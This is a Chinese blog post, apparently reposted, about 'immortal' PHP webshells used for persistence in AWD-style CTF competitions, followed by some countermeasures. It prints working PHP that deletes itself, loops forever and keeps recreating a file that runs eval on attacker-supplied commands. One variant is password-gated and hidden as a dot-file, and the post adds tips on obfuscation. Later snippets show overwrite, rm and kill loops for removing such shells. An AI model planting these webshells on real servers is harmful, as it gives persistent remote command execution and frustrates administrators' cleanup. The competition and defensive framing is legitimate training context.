• 不死马


    借鉴文章

    不死马常用于AWD模式,用于权限维持,首先上传一个不死马,然后访问该页面,就会执行不死马,它会以进程的形式运行,不断的生成文件,即使被发现也不容易被删掉,同时注意上传的目录是否有权限

    不死马

    <?php
     
    set_time_limit(0);   //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
     
    ignore_user_abort(1);  //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将继续运行。
     
    unlink(__FILE__);     //删除自身
     
    while(1)
     
    {    
    file_put_contents('./shell.php','<?php @eval($_GET[cmd]);?>'); //创建shell.php sleep(0); //间隔时间 } ?>

    上传之后,访问该页面,就会不断生成shell.php,我们就直接可以利用shell.php

    同时为了防止被其他人利用,可以进行修改,用md5验证,或者其他利用方法验证,只要不让其他人搭顺风车就可以,在文件前面加个点在Linux系统中变成隐藏文件,以用来隐蔽自己,当然也可以用其他编码或者其他方法来混淆代码,让其他人看不出来或无法直接利用

    <?php
    
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.shell.php';
    $code = '<?php if(md5($_GET["passwd"])=="76a2173be6393254e72ffa4d6df1030a"){@eval($_REQUEST[cmd]);} ?>';
    while (1){
        file_put_contents($file,$code);
        usleep(5000);
    }
    ?>

    这样就可以直接利用URL传参.shell.php?passwd=passwd&cmd=你要执行的命令; 或者利用菜刀

    被中了不死马怎么办,最简单的是重启服务器,然后删掉木马文件,但大多比赛无法重启服务的权限,不过可以通过不断向木马文件复写来克制,前提是写入速度要大于不死马的生成速度

    <?php
    set_time_limit(0);
    ignore_user_abort(true);
    unlink(__FILE__);
    while(1)
    {
            file_put_contents('./shell.php','11111');
            usleep(0);
    }
    ?>

    也可以用bash不断的删除文件

    #!/bin/bash
    while : ;do rm -rf .shell.php; done;

    或者不断的删除程序和杀进程

    <?php
    while (1) {
        $pid=xxx;
        @unlink('shell.php');
        exec('kill -9 $pid');
    }
    ?>
  • 相关阅读:
    php内存管理机制与垃圾回收机制
    PHP Laravel5实现的RBAC权限管理操作示例
    PHP实现微信企业付款到个人零钱步骤
    ThinkPHP 6.0 管道模式与中间件的实现分析
    深入讲解 Laravel 的 IoC 服务容器
    ThinkPHP6 核心分析:系统服务
    PHP 性能优化
    PHP 7.4 新语法:箭头函数
    深入理解 PHP 的 7 个预定义接口
    Java实现 LeetCode 795 区间子数组个数 (暴力分析)
  • 原文地址:https://www.cnblogs.com/gaonuoqi/p/12057662.html
Copyright © 2020-2023  润新知